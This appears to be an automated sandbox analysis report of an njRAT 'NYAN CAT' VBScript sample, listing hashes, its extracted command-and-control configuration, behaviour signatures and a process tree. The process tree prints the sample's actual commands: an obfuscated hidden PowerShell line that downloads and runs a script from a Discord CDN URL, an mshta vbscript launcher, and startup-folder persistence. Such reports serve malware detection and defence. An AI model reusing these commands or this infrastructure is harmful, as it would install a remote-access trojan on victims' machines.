njrat | e147c36f7e37e928c129b2337c90bda770f4cd437899932c723fd9d5392859ed

Analysis

max time kernel
149s
max time network
150s
platform
windows10_x64
resource
win10-en
submitted
15/09/2021, 08:29

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General

Target
e147c36f7e37e928c129b2337c90bda770f4cd437899932c723fd9d5392859ed.vbs
Size 828B
Sample210915-kd3fcaacc9
SHA256 e147c36f7e37e928c129b2337c90bda770f4cd437899932c723fd9d5392859ed
MD5 9af0d5fbc14e3ac0ae409dfef6e04228
SHA1 931b3139830e5485f198bb72ecba50475e4c8df2
SHA512 fdca50df12edb4d7784a3c769908a695221456e8729b7ec61ec86b8328a18040c5aca7f2d6879f336b6c1a44b1323a8f1f05ff6dd14a4cbd9f233fedcd019f0e
MD5 SHA1 SHA512

Score

10^/10

njrat nyan cat trojan

Malware Config

Extracted

Family

njrat

Version

0.7NC

Botnet

NYAN CAT

envirat.duckdns.org:3013

Mutex

6de17d5355fa43eca7e

Attributes

reg_key
6de17d5355fa43eca7e
splitter
@!#&^%$

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	524	powershell.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Login1.vbs	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3924 set thread context of 2828	3924	powershell.exe	77

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
524	powershell.exe
524	powershell.exe
524	powershell.exe
3924	powershell.exe
3924	powershell.exe
3924	powershell.exe

Suspicious use of AdjustPrivilegeToken 35 IoCs

description	pid	Process
Token: SeDebugPrivilege	524	powershell.exe
Token: SeDebugPrivilege	3924	powershell.exe
Token: SeDebugPrivilege	2828	aspnet_compiler.exe
Token: 33	2828	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2828	aspnet_compiler.exe
Token: 33	2828	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2828	aspnet_compiler.exe
Token: 33	2828	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2828	aspnet_compiler.exe
Token: 33	2828	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2828	aspnet_compiler.exe
Token: 33	2828	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2828	aspnet_compiler.exe
Token: 33	2828	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2828	aspnet_compiler.exe
Token: 33	2828	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2828	aspnet_compiler.exe
Token: 33	2828	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2828	aspnet_compiler.exe
Token: 33	2828	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2828	aspnet_compiler.exe
Token: 33	2828	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2828	aspnet_compiler.exe
Token: 33	2828	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2828	aspnet_compiler.exe
Token: 33	2828	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2828	aspnet_compiler.exe
Token: 33	2828	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2828	aspnet_compiler.exe
Token: 33	2828	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2828	aspnet_compiler.exe
Token: 33	2828	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2828	aspnet_compiler.exe
Token: 33	2828	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2828	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4000 wrote to memory of 524	4000	WScript.exe	69
PID 4000 wrote to memory of 524	4000	WScript.exe	69
PID 524 wrote to memory of 1956	524	powershell.exe	71
PID 524 wrote to memory of 1956	524	powershell.exe	71
PID 1956 wrote to memory of 4076	1956	WScript.exe	72
PID 1956 wrote to memory of 4076	1956	WScript.exe	72
PID 4076 wrote to memory of 2832	4076	cmd.exe	74
PID 4076 wrote to memory of 2832	4076	cmd.exe	74
PID 2832 wrote to memory of 3924	2832	mshta.exe	75
PID 2832 wrote to memory of 3924	2832	mshta.exe	75
PID 3924 wrote to memory of 2828	3924	powershell.exe	77
PID 3924 wrote to memory of 2828	3924	powershell.exe	77
PID 3924 wrote to memory of 2828	3924	powershell.exe	77
PID 3924 wrote to memory of 2828	3924	powershell.exe	77
PID 3924 wrote to memory of 2828	3924	powershell.exe	77
PID 3924 wrote to memory of 2828	3924	powershell.exe	77
PID 3924 wrote to memory of 2828	3924	powershell.exe	77
PID 3924 wrote to memory of 2828	3924	powershell.exe	77

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\e147c36f7e37e928c129b2337c90bda770f4cd437899932c723fd9d5392859ed.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:4000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExEcUtIoNPoLiCy ByPAsS -wInDoWStYlE hIdDEn -command Invoke-Expression(New-Object Net.WebClient).(-join [char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('https://cdn.discordapp.com/attachments/876945743724822550/877222584595402823/Fucking.txt');$results
  2⤵
  - Blocklisted process makes network request
  - Drops startup file
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:524
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Login1.VBS"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1956
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\SystemLogin.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4076
    - - C:\Windows\system32\mshta.exe
        
        mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -ExecutionPolicy Bypass & 'C:\Users\Public\myScript.ps1'"", 0:close")
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2832
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass & 'C:\Users\Public\myScript.ps1'
        6⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3924
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2828

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/524-121-0x000001ED28FA0000-0x000001ED28FA1000-memory.dmp

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memory/524-124-0x000001ED28600000-0x000001ED28602000-memory.dmp

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memory/524-126-0x000001ED28603000-0x000001ED28605000-memory.dmp

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memory/524-142-0x000001ED29250000-0x000001ED29251000-memory.dmp

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memory/524-153-0x000001ED29310000-0x000001ED29311000-memory.dmp

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memory/524-159-0x000001ED28606000-0x000001ED28608000-memory.dmp

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memory/524-160-0x000001ED29220000-0x000001ED29222000-memory.dmp

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memory/2828-210-0x0000000000400000-0x000000000040C000-memory.dmp

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memory/2828-221-0x00000000054C0000-0x00000000054C1000-memory.dmp

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memory/2828-220-0x0000000005230000-0x0000000005231000-memory.dmp

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memory/2828-219-0x0000000005150000-0x000000000564E000-memory.dmp

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memory/2828-218-0x00000000052A0000-0x00000000052A1000-memory.dmp

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memory/2828-217-0x0000000005650000-0x0000000005651000-memory.dmp

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memory/2828-216-0x00000000050B0000-0x00000000050B1000-memory.dmp

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memory/3924-202-0x000001F74B5B0000-0x000001F74B5B2000-memory.dmp

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memory/3924-209-0x000001F74B5D0000-0x000001F74B5D3000-memory.dmp

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memory/3924-208-0x000001F730CC6000-0x000001F730CC8000-memory.dmp

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memory/3924-207-0x000001F74B5C0000-0x000001F74B5C5000-memory.dmp

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memory/3924-194-0x000001F730CC0000-0x000001F730CC2000-memory.dmp

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memory/3924-195-0x000001F730CC3000-0x000001F730CC5000-memory.dmp

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